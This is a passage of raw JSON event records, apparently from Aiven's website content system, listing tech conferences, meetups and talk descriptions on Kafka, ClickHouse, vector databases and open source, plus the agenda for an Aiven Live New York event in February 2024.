"},{"_key":"e1420fb6dd94","_type":"span","marks":["6774d240df0d"],"text":"Slides"}],"markDefs":[{"_key":"6774d240df0d","_type":"link","href":"https://ftisiot.net/talks/metadata-parser-uptime/"}],"style":"normal"},{"_key":"6cf3140c0c71","_type":"block","children":[{"_key":"cc99d06e3823","_type":"span","marks":[],"text":"- "},{"_key":"2b8b9ebd8212","_type":"span","marks":["3d54c4e60924"],"text":"Recording"}],"markDefs":[{"_key":"3d54c4e60924","_type":"link","href":"https://youtu.be/h5IrRZHfu7I?si=YPtIf263wc077glk"}],"style":"normal"}],"speakers":[{"_key":"7bfc59df5e0a","_ref":"0ed302d4-35dd-4e1e-847e-03c9e41d2c10","_type":"reference"}],"title":"Don't get lost in data: metadata to the rescue!"},{"_key":"9f39e60aa661","_type":"talk","description":[{"_key":"34c61f3bcbf3","_type":"block","children":[{"_key":"9cc7af51810e","_type":"span","marks":[],"text":"Check out this creation of a streaming data pipeline for anomaly detection in 10 minutes!\n\n- "},{"_key":"67237e2fed14","_type":"span","marks":["6da00ecaf07b"],"text":"Slides"}],"markDefs":[{"_key":"6da00ecaf07b","_type":"link","href":"https://ftisiot.net/talks/anomaly-detection/"}],"style":"normal"},{"_key":"a72ee0c42692","_type":"block","children":[{"_key":"9d568f74d0f8","_type":"span","marks":[],"text":"- "},{"_key":"98417ccc9e07","_type":"span","marks":["e81ca4062a52"],"text":"Recording"}],"markDefs":[{"_key":"e81ca4062a52","_type":"link","href":"https://youtu.be/rmtgaRq-pkI?si=fxoGuJIzJ9c3pLaV"}],"style":"normal"}],"speakers":[{"_key":"c13e783a1757","_ref":"0ed302d4-35dd-4e1e-847e-03c9e41d2c10","_type":"reference"}],"title":"No pineapple on pizza! Streaming anomaly detection with Apache Kafka and Apache Flink"},{"_key":"4be70c4045fd","_type":"talk","description":[{"_key":"a5c96d87ff67","_type":"block","children":[{"_key":"432755b98a3a0","_type":"span","marks":[],"text":"Get the most of ClickHouse and avoid pitfalls. We talk about analytics, columnar databases and sparse indexing. We look at the most puzzling concepts of ClickHouse, so that by the end you find them not only logical, but maybe even fascinating."}],"markDefs":[],"style":"normal"},{"_key":"83ff71e052c9","_type":"block","children":[{"_key":"69eb65b532a6","_type":"span","marks":[],"text":"- "},{"_key":"2cbca0f95990","_type":"span","marks":["c547a126eddf"],"text":"Recording"}],"markDefs":[{"_key":"c547a126eddf","_type":"link","href":"https://youtu.be/68oq4RPjQo0?si=hQz0_C3Vu5BMNym9"}],"style":"normal"}],"speakers":[{"_key":"257ccc809b5e","_ref":"0751a33e-612e-404f-9e77-0b5da9ec746a","_type":"reference"}],"title":"ClickHouse: what is behind the fastest columnar database. Or how to make it click!"}],"title":"Uptime 2022","type":"conference"} {"__i18n_lang":"en","_createdAt":"2023-12-21T20:30:03Z","_id":"fc3f8924-06c3-4d2e-98b4-b4717992cea0","_rev":"sg5cBJWkRHo7pkcz4RxD4T","_type":"event","_updatedAt":"2023-12-21T20:32:19Z","contentIsPage":false,"country":"CA","description":[{"_key":"b7d0364cc150","_type":"block","children":[{"_key":"77548bdd9bb70","_type":"span","marks":[],"text":"Join us at the Workhaus Coworking \u0026 Office Space for the February Toronto Open Source Data Infrastructure meetup. "}],"markDefs":[],"style":"normal"}],"endDate":"2024-02-07T20:00:00.000Z","linkTitle":"Register","location":"Toronto","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/toronto-open-source-data-infrastructure-meetup/events/297800081/","title":"RSVP"},"region":"AMER","startDate":"2024-02-07T17:00:00.000Z","title":"Toronto OSDI","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2023-12-21T20:44:51Z","_id":"5d769dc3-2400-4a13-8924-80c97e213b70","_rev":"cYm7NAkc6EQoa8jfAFRsBN","_type":"event","_updatedAt":"2024-01-08T12:51:23Z","contentIsPage":false,"country":"US","description":[{"_key":"daefef3556b7","_type":"block","children":[{"_key":"bc1e42c4748b","_type":"span","marks":[],"text":"Join our February 8 New York City Open Source Data Infrastructure Meetup, at the French-American Chamber of Commerce!"}],"markDefs":[],"style":"normal"}],"endDate":"2024-02-08T20:00:00.000Z","linkTitle":"Register","location":"New York","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/new-york-open-source-data-infrastructure-meetup/events/297484047/","title":"RSVP"},"region":"AMER","startDate":"2024-02-08T16:00:00.000Z","title":"New York OSDI","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2023-10-13T09:48:10Z","_id":"74ec08ff-0263-4c81-8e50-7711707a1d29","_rev":"YchETsjFZqXXcMnazF5TAy","_type":"event","_updatedAt":"2023-10-13T09:48:10Z","contentIsPage":false,"country":"ES","description":[{"_key":"9c31bdb357de","_type":"block","children":[{"_key":"225f0f4969bf","_type":"span","marks":[],"text":"We're teaming up with the Barcelona JUG. Hear from Alex Soto, Director of Developer Experience at Red Hat, and Juarez Barbosa Junior, Senior Principal Java Developer Evangelist at Oracle."}],"markDefs":[],"style":"normal"}],"endDate":"2023-10-25T19:00:00.000Z","linkTitle":"Register","location":"Barcelona","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"iframeForm":{"iframeHeight":800},"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/barcelonajug/events/296641823/","title":"RSVP"},"region":"EMEA","startDate":"2023-10-25T16:00:00.000Z","title":"Barcelona JUG","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2023-09-26T12:42:26Z","_id":"aa739658-c9fd-4d57-a5ce-4cab21fc8705","_rev":"OlHhyDbudqKag6cjyBvmty","_type":"event","_updatedAt":"2023-10-02T07:06:51Z","contentIsPage":false,"country":"FR","description":[{"_key":"eb22f846ea04","_type":"block","children":[{"_key":"eda89dae4ce8","_type":"span","marks":[],"text":"Join us for Celeste Horgan's session, \"Everything I learned about API Design I learned from the Support team\" "}],"markDefs":[],"style":"normal"}],"endDate":"2023-12-08T13:43:00.000Z","linkTitle":"Register","location":"Paris","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"iframeForm":{"iframeHeight":800},"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.apidays.global/paris/","title":"Join"},"region":"EMEA","slug":{"_type":"slug","current":"/events/api-days-paris-2023"},"startDate":"2023-12-06T13:43:00.000Z","tags":[{"_key":"0a5c4e769d7d","_ref":"de070e21-d443-4ca4-bb45-c3c1058d4d21","_type":"tag"}],"talks":[{"_key":"db8a5a90ef58","_type":"talk","description":[{"_key":"1bd0ba4eedde","_type":"block","children":[{"_key":"0999e5ae9a2b0","_type":"span","marks":[],"text":"API Design tends to be the responsibility of lead developers and product leads, and the results are what you would expect: user requirements are mapped directly to the systems they communicate with, creating short, efficient paths to databases and other services. This seems great on the surface, but often leads to APIs that users find un-ergonomic at best and unusable at worst. Luckily, the solution is usually sitting right beside you: the support team.\n"}],"markDefs":[],"style":"normal"},{"_key":"01ee3f7b67e6","_type":"block","children":[{"_key":"d04df0698e910","_type":"span","marks":[],"text":"In this talk we’ll go over examples from real-world support, documentation and developer relations organizations that challenge common conceptions of API design."}],"markDefs":[],"style":"normal"}],"speakers":[{"_key":"c5d99618266d","_ref":"174cfdd2-a352-4b86-9105-fcb4c94075e4","_type":"reference"}],"title":"Everything I learned about API Design I learned from the support team"}],"title":"API Days Paris","type":"event"} {"__i18n_lang":"en","_createdAt":"2023-11-15T00:57:06Z","_id":"62ea31c5-4a9e-4b57-8fa4-56e4219470c7","_rev":"hwzycBVSV9IrfaFzCmiMfK","_type":"event","_updatedAt":"2023-11-15T00:58:25Z","contentIsPage":false,"country":"AU","description":[{"_key":"b87fb93764a3","_type":"block","children":[{"_key":"e0cf3d70f6ec0","_type":"span","marks":[],"text":"Aiven is back at BeerOps Melbourne! Are you planning to join us? If so, make sure you swing by the Aiven booth. "}],"markDefs":[],"style":"normal"},{"_key":"3bb2fc372faa","_type":"block","children":[{"_key":"934afbff7dfe","_type":"span","marks":[],"text":"BeerOps is one of Australia's largest tech networking events, bringing together a diverse community of 50,000+ technologists, from engineers to CxOs."}],"markDefs":[],"style":"normal"},{"_key":"a1ae0d2a6eaf","_type":"block","children":[{"_key":"50f49802b8e1","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"endDate":"2023-11-28T10:00:00.000Z","image":{"_type":"mainImage","asset":{"_ref":"image-05cf5108b6301ff3704da832e03cbacd3547e9d2-1200x628-png","_type":"reference"}},"linkTitle":"Register","location":"Marvel Stadium, Melbourne","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.eventbrite.com.au/e/beerops-melbourne-eoy2023-australias-largest-tech-networking-event-tickets-705114064147","title":"Attend"},"region":"APAC","startDate":"2023-11-28T07:00:00.000Z","title":"BeerOps Melbourne","type":"event"} {"__i18n_lang":"en","_createdAt":"2023-12-21T13:21:56Z","_id":"e368b505-d066-4271-b976-008c229936d0","_rev":"Do3156plRwIXmiihO5EbbF","_type":"event","_updatedAt":"2023-12-21T13:21:56Z","contentIsPage":false,"country":"DE","description":[{"_key":"0665281af1c1","_type":"block","children":[{"_key":"9efb5791b547","_type":"span","marks":[],"text":"Join Floor Drees for her session at the biggest Women in Tech community in Europe."}],"markDefs":[],"style":"normal"}],"endDate":"2024-01-26T16:00:00.000Z","linkTitle":"Register","location":"Hamburg","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.femtechconf.com/hamburg","title":"Join"},"region":"EMEA","startDate":"2024-01-26T08:00:00.000Z","talks":[{"_key":"5e22e229ef60","_type":"talk","description":[{"_key":"a5dab63706e2","_type":"block","children":[{"_key":"91c91f92ae170","_type":"span","marks":[],"text":"To colleagues I seem very organized, because I overcompensate. I’ve had 35 years to find ways to deal with the challenges of ADHD, prior to my diagnosis, and to learn to ride the hyperfocus wave for the right outcomes: writing that report, rather than signing up for a tapestry course on a whim. This session is about me navigating getting the right help and also performing and maybe even thriving in my job."}],"markDefs":[],"style":"normal"}],"speakers":[{"_key":"1150db98de54","_ref":"7406d8d2-3acb-4a35-9f9d-1c8ce934d395","_type":"reference"}],"title":"Your energy may vary: my ADHD discovery story"}],"title":"FemTechConf","type":"conference"} {"__i18n_lang":"en","_createdAt":"2023-12-05T16:17:02Z","_id":"2fabe717-b3b7-43ae-9fdf-020c64c0f31b","_rev":"E2EqFgH2t2FE0P1F1v4Dkz","_type":"event","_updatedAt":"2024-02-28T11:13:47Z","contentIsPage":true,"country":"US","description":[{"_key":"36fc0a168046","_type":"block","children":[{"_key":"c3dd1d487c540","_type":"span","marks":[],"text":"Join us on February 28th for the first-ever Aiven Live event in NYC! Learn best practices from industry experts, meet new peers, and enjoy a day that's all about open source and data technologies. "}],"markDefs":[],"style":"normal"},{"_key":"aadc9b0669d5","_type":"block","children":[{"_key":"fbe05002c0cc","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"endDate":"2024-02-28T21:00:00.000Z","linkTitle":"Registration closed","location":"Ease 605, New York, NY","pageType":{"_type":"eventPage","content":[{"_key":"ff50b4feec2e","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","alt":"Aiven Live New York City 2024 logo","asset":{"_ref":"image-74b62e0b48e1ed43f8b968c69e66f37e8dbba93e-991x413-png","_type":"reference"}},"imagePosition":"top","narrowImage":true,"noSpaceBottom":true,"noSpaceTop":false,"roundedCorners":"rounded-none","tagline":"What is Aiven Live?","text":[{"_key":"7670f8408ee2","_type":"block","children":[{"_key":"162f59f5b49f0","_type":"span","marks":[],"text":"Aiven Live is a global event series that brings together experts in open source and data technologies to discuss trends, best practices, and how to implement them. "}],"markDefs":[],"style":"normal"},{"_key":"a535470f2de5","_type":"block","children":[{"_key":"aed8af12d6e10","_type":"span","marks":[],"text":"Are you ready to elevate your skills, learn from industry visionaries, and dive into the future of data technologies? "}],"markDefs":[],"style":"normal"},{"_key":"cbd0d6477b75","_type":"block","children":[{"_key":"84385b2b6d94","_type":"span","marks":[],"text":"Join us in the heart of innovation, New York City, on February 28th and participate in conversations around AI, data infrastructure, cloud cost optimizations, and more. "}],"markDefs":[],"style":"normal"},{"_key":"5200e9134d4b","_type":"block","children":[{"_key":"cf208c05e493","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"b30a4b44cce9","_type":"block","children":[{"_key":"d229e35de8c9","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"29d49731a953","_type":"block","children":[{"_key":"7dd53d767b160","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"title":"An in-person event designed for developers and cloud architects.","variant":"mediaLeft"},{"_key":"fa23251ee78e","_type":"iframe","addSpaceBottom":true,"addSpaceTop":true,"align":"left","backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-d40ede8af9da13e0236a17d233245d75df152ea6-2494x1996-jpg","_type":"reference"}},"backgroundImageMobile":{"_type":"mainImage","asset":{"_ref":"image-59f93eea73f1b4012da358ba444ee101f936f8d7-1265x431-svg","_type":"reference"}},"backgroundPosition":"left top","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"disabled":true,"fullWidth":false,"headerPosition":"left","id":"registration","iframeHeight":560,"iframeSource":"https://go.aiven.io/l/890043/2024-01-03/tg3zy","iframeTitle":"Aiven Live NYC registration","isPardotForm":true,"noSpaceBottom":false,"noSpaceTop":false,"pardotFormType":"event","roundedCorners":"rounded-tr-bl","subtitle":[{"_key":"79ed35ce7619","_type":"block","children":[{"_key":"73851434f40e0","_type":"span","marks":[],"text":"View the full agenda and list of speakers below. "}],"markDefs":[],"style":"normal"},{"_key":"5afa95b493b1","_type":"block","children":[{"_key":"7a88645be3f5","_type":"span","marks":[],"text":"When: Feb 28, 2024 | 10:00 - 4:00 PM ET"}],"markDefs":[],"style":"normal"},{"_key":"2d5085720ed1","_type":"block","children":[{"_key":"c155f58e4058","_type":"span","marks":[],"text":"Where: @Ease 605, 605 3rd Ave 7th Floor, New York"}],"markDefs":[],"style":"normal"},{"_key":"9a1133927ad3","_type":"block","children":[{"_key":"62a808038696","_type":"span","marks":[],"text":"Aiven Live: New York City is free to attend however spots are limited. Register now to secure your spot!"}],"markDefs":[],"style":"normal"},{"_key":"81ba16a69ddd","_type":"block","children":[{"_key":"cacff7d375f2","_type":"span","marks":[],"text":"The first 50 attendees will receive a $50 Uber or Uber Eats gift card which can be claimed during the event."}],"markDefs":[],"style":"normal"}],"tagline":"Join waitlist","title":"Keynotes and breakouts from industry experts"},{"_key":"9a24a2cc948a63c784359653d5ba3ac5","_type":"agenda","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","carouselImages":[{"_key":"6cb309f6c546","_type":"imageItem","image":{"_type":"mainImage","asset":{"_ref":"image-9a104fde97aba6f48c388a47d3c2693b2b073a38-1426x1900-jpg","_type":"reference"}},"tagLine":"Agenda","title":"A day of breakthroughs \u0026 insights"},{"_key":"da3cfb7eb7ebd829a299173ac2e8156c","_type":"imageItem","image":{"_type":"mainImage","asset":{"_ref":"image-6f61c4291d4c5af061ace91c31d55524f6f73066-1426x1900-jpg","_type":"reference"}},"tagLine":"Agenda","title":"Hot topics on open source data infrastructure"}],"disabled":false,"eventSessions":[{"_key":"6c9df49d47d2","_type":"eventSession","items":[{"_key":"9baa41025883","_type":"eventSessionItem","category":"Registration","description":[{"_key":"9a8d2e37ea6d","_type":"block","children":[{"_key":"b64260c8234e0","_type":"span","marks":[],"text":"Pick up your badge, enjoy breakfast, and network! You can also visit the \"Ask Me Anything\" stations to chat with Aiven Experts and secure your limited-edition swag. "}],"markDefs":[],"style":"normal"}],"time":"9:00AM - 10:00AM ET","title":"Registration, breakfast, and more!"},{"_key":"343a3d6b856e","_type":"eventSessionItem","avatars":[{"_key":"2586daa24c95","_ref":"9a86a58e-01c4-415f-bfb1-e52b92f6a799","_type":"reference"}],"category":"Keynote","description":[{"_key":"6718885fe504","_type":"block","children":[{"_key":"944e1e6052b1","_type":"span","marks":[],"text":"Opening remarks from Aiven's Founder and CEO, Oskari Saarenmaa."}],"markDefs":[],"style":"normal"}],"time":"10:00AM - 10:15AM ET","title":"Welcome to Aiven Live: NYC"},{"_key":"aa0b8664fe41","_type":"eventSessionItem","avatars":[{"_key":"c853240a5f16","_ref":"df2f55c4-4bde-4170-a578-f6939fff2f79","_type":"reference"}],"category":"Keynote","description":[{"_key":"a5f84707c36a","_type":"block","children":[{"_key":"9a87e7b274150","_type":"span","marks":[],"text":"In this opening keynote, you’ll learn where Aiven is innovating and evolving as we introduce more services built on the flexibility of our open source data platform. Learn what is coming up to further improve price, performance and, using AI technologies to optimize your data infrastructure. We will elaborate on the future unification between streaming, warehousing, and the ability to transform your data with powerful stream processing. Stay in touch with the newest innovations from Aiven through various channels we will talk about during this exciting session."}],"markDefs":[],"style":"normal"}],"time":"10:15AM - 10:45AM ET","title":"Optimizing, Scaling and Saving Money with Aiven"},{"_key":"ab1770a2cd81","_type":"eventSessionItem","avatars":[{"_key":"7dfa92964e41","_ref":"b1d46bf2-e091-4bea-a535-7a45bfb8681e","_type":"reference"}],"category":"Keynote","description":[{"_key":"71b88301c4de","_type":"block","children":[{"_key":"d48b5c785c9b0","_type":"span","marks":[],"text":"In this keynote, Kelsey reflects on his 25 year tech journey, how the industry has evolved, and where it may be heading. Kelsey will share stories, examples, and best practices he's picked up along the way and share his bold predictions for the future of Open Source, AI, and more."}],"markDefs":[],"style":"normal"}],"time":"10:45AM - 11:15AM ET","title":"Kelsey Hightower: The Past, Present, and Future of Open Source"},{"_key":"03a2e7d8cbe7","_type":"eventSessionItem","avatars":[{"_key":"abcf6d718a9e","_ref":"0ea12376-56da-4d7f-a2db-a547576f273a","_type":"reference"},{"_key":"7fb44be49cf7","_ref":"42861fda-0ad0-40e6-b0a3-8e96fa756035","_type":"reference"},{"_key":"6ede8a997e17","_ref":"c5c2f612-4210-4782-bfc2-d9d57a707ef4","_type":"reference"},{"_key":"7ed59cca4830","_ref":"4e164da7-28fd-4c26-b537-8bc1a3c5c949","_type":"reference"}],"category":"Panel","description":[{"_key":"8d24a7a53cd8","_type":"block","children":[{"_key":"1b1ef7b14c920","_type":"span","marks":[],"text":"In this session, you’ll discover the real-world challenges Aiven customers are tackling and the innovative solutions they are building. Gain valuable insights into technology trends as global experts share their perspectives on overcoming obstacles and shaping the data landscape. This session promises a deep dive into actionable lessons, success stories, and a glimpse into the exciting possibilities that lie ahead."}],"markDefs":[],"style":"normal"}],"time":"11:15AM - 12:00PM ET","title":"Navigating 2024 and Beyond: Stories of Resilience and Innovation"},{"_key":"0a8a7115eb0c","_type":"eventSessionItem","category":"Break","description":[{"_key":"0980fa886bda","_type":"block","children":[{"_key":"a20aad80126f","_type":"span","marks":[],"text":"Enjoy lunch and network with your peers!"}],"markDefs":[],"style":"normal"}],"time":"12:00PM - 1:00PM ET","title":"Networking Lunch"},{"_key":"4180ba6101fc","_type":"eventSessionItem","avatars":[{"_key":"2619f69d5f2a","_ref":"f5374bfb-b493-47c2-91a7-5f9ea46e954b","_type":"reference"}],"category":"Keynote","description":[{"_key":"10a9f88e8b7d","_type":"block","children":[{"_key":"b927c2831ef40","_type":"span","marks":[],"text":"Generative AI is not a fleeting trend but a powerful force that will reshape industries for years to come. In this session, Ritu Jyoti will review practical applications and guidance for you as you embark on your journey in reshaping your organizations at this pivotal time. Ritu will review business, organization, and technology architecture transformation with an emphasis on data and open source to help your organization tap into emerging business models and achieve sustainable competitive advantage."}],"markDefs":[],"style":"normal"}],"time":"1:00PM - 1:30PM ET","title":"Preparing for the Long-Term Impact of AI"}]},{"_key":"a3abb451c758","_type":"eventSession","items":[{"_key":"faecc4e2c9fe","_type":"eventSessionItem","avatars":[{"_key":"58f8a9fe16b3","_ref":"c1bcbfc7-919f-40ff-8413-abdb339e725d","_type":"reference"}],"category":"Breakout","description":[{"_key":"ba46d000398a","_type":"block","children":[{"_key":"646b594ed7ed0","_type":"span","marks":[],"text":"Want to build Generative AI applications but don't know which vector database to use? Join this breakout session to learn about building GenAI applications with vector databases like Postgres, OpenSearch, and Clickhouse. This session will cover a framework for choosing your vector database, best practices, and a demo of an enterprise chatbot built on Aiven's vector database solutions."}],"markDefs":[],"style":"normal"}],"time":"1:30PM - 2:00PM ET","title":"Vector Databases: A Framework for Building Generative AI Applications"},{"_key":"3478b5e69967","_type":"eventSessionItem","avatars":[{"_key":"9be3b282d9cf","_ref":"5d89bbe1-592a-4057-89f9-ff7769ba37c8","_type":"reference"},{"_key":"3512b0e29977","_ref":"24db6ddd-5fa4-4dbb-90e1-7e24348843fe","_type":"reference"}],"category":"Breakout","description":[{"_key":"8c8cb497eb64","_type":"block","children":[{"_key":"b323dfe3545c0","_type":"span","marks":[],"text":"Companies are looking to innovate building futureproof solutions and therefore relying on open source to benefit from advanced, trustable and portable technologies. However, support is needed to properly fuel the innovation and community behind these projects. In this fireside chat, Nithya and Josep will share details on how Open Source Program Offices are key to bridge the gap between corporates and open source, sustaining adoption and addressing companies’ innovation, security and reliability needs."}],"markDefs":[],"style":"normal"}],"time":"2:00PM - 2:30PM ET","title":"How OSPOs Fuel Future Proof innovations: Fireside Chat Between Leaders"},{"_key":"7b64b8b1c741","_type":"eventSessionItem","avatars":[{"_key":"cc52763ea265","_ref":"644e4ddb-85c7-4dcb-8792-a0050f2ad2e0","_type":"reference"}],"category":"Breakout","description":[{"_key":"7c8d545549ed","_type":"block","children":[{"_key":"452f6a6ea4210","_type":"span","marks":[],"text":"In this session, we’ll review the core principles you can follow to assess the scalability of your data infrastructure. We’ll discuss multi-cloud deployments for high resilience, cost optimization strategies like Bring Your Own Cloud (BYOC), and even review a few reference architectures that support high-scale Generative AI and data streaming use cases, and more."}],"markDefs":[],"style":"normal"}],"time":"2:30PM - 3:00PM ET","title":"Building for Scale: Core Principles to Follow For Building a Cost-Efficient Multi-Cloud Strategy"}],"title":"Open Source and Cloud Track"},{"_key":"b87813e2b15c","_type":"eventSession","items":[{"_key":"1a657e962aa8","_type":"eventSessionItem","avatars":[{"_key":"06ab9801233a","_ref":"36874b14-1068-41af-a5b3-810819479ef7","_type":"reference"}],"category":"Breakout","description":[{"_key":"4a86393b6001","_type":"block","children":[{"_key":"2133dd4bb84f0","_type":"span","marks":[],"text":"Apache Kafka is the industry de-facto standard for data streaming. An open-source, scalable, highly available and reliable solution to move data across companies' departments, technologies or micro-services. In this workshop you'll learn the basic components of Apache Kafka and how to get started with data streaming using Python. We'll dive deep, with the help of some prebuilt Jupyter notebooks, on how to produce, consume and have concurrent applications reading from the same source, empowering multiple use-cases with the same streaming data. Finally, we'll see how streaming data in Apache Kafka can be reshaped in real time, enabling new data stakeholders and, at the same time, satisfying regulatory needs."}],"markDefs":[],"style":"normal"},{"_key":"07653bd6ddf1","_type":"block","children":[{"_key":"1c62faa94308","_type":"span","marks":["strong"],"text":"Prerequisites"},{"_key":"6036f322b780","_type":"span","marks":[],"text":": Your own laptop, a web browser, GitHub Account"}],"markDefs":[],"style":"normal"}],"time":"1:30PM - 2:30PM ET","title":"Learn Apache Kafka with Python (Workshop)"},{"_key":"9130953cc6d6","_type":"eventSessionItem","avatars":[{"_key":"a1ecfa151b90","_ref":"09143464-8f84-4bd5-abcc-b053c9031383","_type":"reference"},{"_key":"12ee7431a523","_ref":"4ab857b2-5a96-4d94-b58b-bbe9cd0d8bc0","_type":"reference"},{"_key":"e52b06450167","_ref":"e8795673-e1f3-4547-bf81-7277b4549d63","_type":"reference"},{"_key":"fd1b61ce0328","_ref":"d5b4a9d8-5bd6-460a-a840-7da3aff5ecb4","_type":"reference"}],"category":"Breakout","description":[{"_key":"d2a9477e4427","_type":"block","children":[{"_key":"d08b27e8522c0","_type":"span","marks":[],"text":"This panel discussion will explore general tips and best practices, as well as pitfalls to avoid when ingesting data and collaborating cross-functionally between software engineers and data teams. Attendees can expect a lively discussion from experienced practitioners on important questions to ask, different approaches to prototyping, as well as how to handle “people problems” in the mix."}],"markDefs":[],"style":"normal"}],"time":"2:30PM - 3:00PM ET","title":"Boundaries and Collaboration Between Developers and Data Engineers"}],"title":"Developers and Data Track"},{"_key":"d1344285daab","_type":"eventSession","items":[{"_key":"93aba8851db1","_type":"eventSessionItem","category":"Main","description":[{"_key":"accbad293eea","_type":"block","children":[{"_key":"cb70a8415dba","_type":"span","marks":[],"text":"Closing thoughts from Aiven and our partners. "}],"markDefs":[],"style":"normal"}],"time":"3:00PM - 3:15PM ET","title":"Building the Future Together "},{"_key":"1439555fc699","_type":"eventSessionItem","category":"Main","description":[{"_key":"f83858943561","_type":"block","children":[{"_key":"caac8f2e8149","_type":"span","marks":[],"text":"Enjoy refreshments, discuss your learnings, and meet new peers! "}],"markDefs":[],"style":"normal"}],"time":"3:15PM - 4:00PM ET","title":"Closing reception"}]}],"fullWidth":false,"id":"agenda","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none"},{"_key":"b08d953c377a","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","avatars":[{"_key":"860ee3474d2e","_ref":"b1d46bf2-e091-4bea-a535-7a45bfb8681e","_type":"reference"},{"_key":"7fb2bae7a789","_ref":"f5374bfb-b493-47c2-91a7-5f9ea46e954b","_type":"reference"},{"_key":"263bbe682adf","_ref":"9a86a58e-01c4-415f-bfb1-e52b92f6a799","_type":"reference"},{"_key":"f1f04fd1efe3","_ref":"0ea12376-56da-4d7f-a2db-a547576f273a","_type":"reference"},{"_key":"3b77337c99ee","_ref":"f2ffc94d-c463-49ef-a2a2-cc2c5182807d","_type":"reference"},{"_key":"12b4fd5161e1","_ref":"df2f55c4-4bde-4170-a578-f6939fff2f79","_type":"reference"},{"_key":"eda61316c084","_ref":"5d89bbe1-592a-4057-89f9-ff7769ba37c8","_type":"reference"},{"_key":"3c6f01fad9a3","_ref":"42861fda-0ad0-40e6-b0a3-8e96fa756035","_type":"reference"},{"_key":"bfac19177b51","_ref":"4e164da7-28fd-4c26-b537-8bc1a3c5c949","_type":"reference"},{"_key":"cb1de55871de","_ref":"c5c2f612-4210-4782-bfc2-d9d57a707ef4","_type":"reference"},{"_key":"a4661a499693","_ref":"24db6ddd-5fa4-4dbb-90e1-7e24348843fe","_type":"reference"},{"_key":"530ab6743fc7","_ref":"09143464-8f84-4bd5-abcc-b053c9031383","_type":"reference"},{"_key":"886133dc039b","_ref":"d5b4a9d8-5bd6-460a-a840-7da3aff5ecb4","_type":"reference"},{"_key":"3e1453257d3b","_ref":"36874b14-1068-41af-a5b3-810819479ef7","_type":"reference"},{"_key":"e34d03dad656","_ref":"e8795673-e1f3-4547-bf81-7277b4549d63","_type":"reference"},{"_key":"cf4f99a5871f","_ref":"4ab857b2-5a96-4d94-b58b-bbe9cd0d8bc0","_type":"reference"},{"_key":"5e2d0bd061de","_ref":"c1bcbfc7-919f-40ff-8413-abdb339e725d","_type":"reference"},{"_key":"8595ac52edec","_ref":"644e4ddb-85c7-4dcb-8792-a0050f2ad2e0","_type":"reference"}],"backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"id":"speakers","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded","showProfilePage":false,"subtitle":[{"_key":"416c45322654","_type":"block","children":[{"_key":"8715af649485","_type":"span","marks":[],"text":"Hear from experts across different industries. "}],"markDefs":[],"style":"normal"}],"title":"Speakers","variant":"default"},{"_key":"cb8eaf7064c6","_type":"iconList","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":true,"fullWidth":false,"headerPosition":"default","iconSize":24,"icons":[{"_key":"10e51b0e87c2","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-728af07e15f7eb0d5a2eb43ffe3ee8ef774a969c-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"ee6c734ce24f","_type":"block","children":[{"_key":"32142ae2d5ac0","_type":"span","marks":[],"text":"Industry experts will share their experiences and outlooks, providing a panoramic view of the ever-evolving landscape of open-source data technologies, AI, and more."}],"markDefs":[],"style":"normal"}],"title":"Inspirational keynotes and breakouts"},{"_key":"a810c73002c96a1d37395bfd8295f862","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c368f51b75e646afb9e988f72627e49f7a0bc862-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"604727da24f2","_type":"block","children":[{"_key":"5342fc5934620","_type":"span","marks":[],"text":"Connect with fellow attendees, speakers, and industry professionals during breakfast, lunch, and breaks. Share experiences, discuss ideas, and forge connections that extend beyond the event."}],"markDefs":[],"style":"normal"}],"title":"Network and build 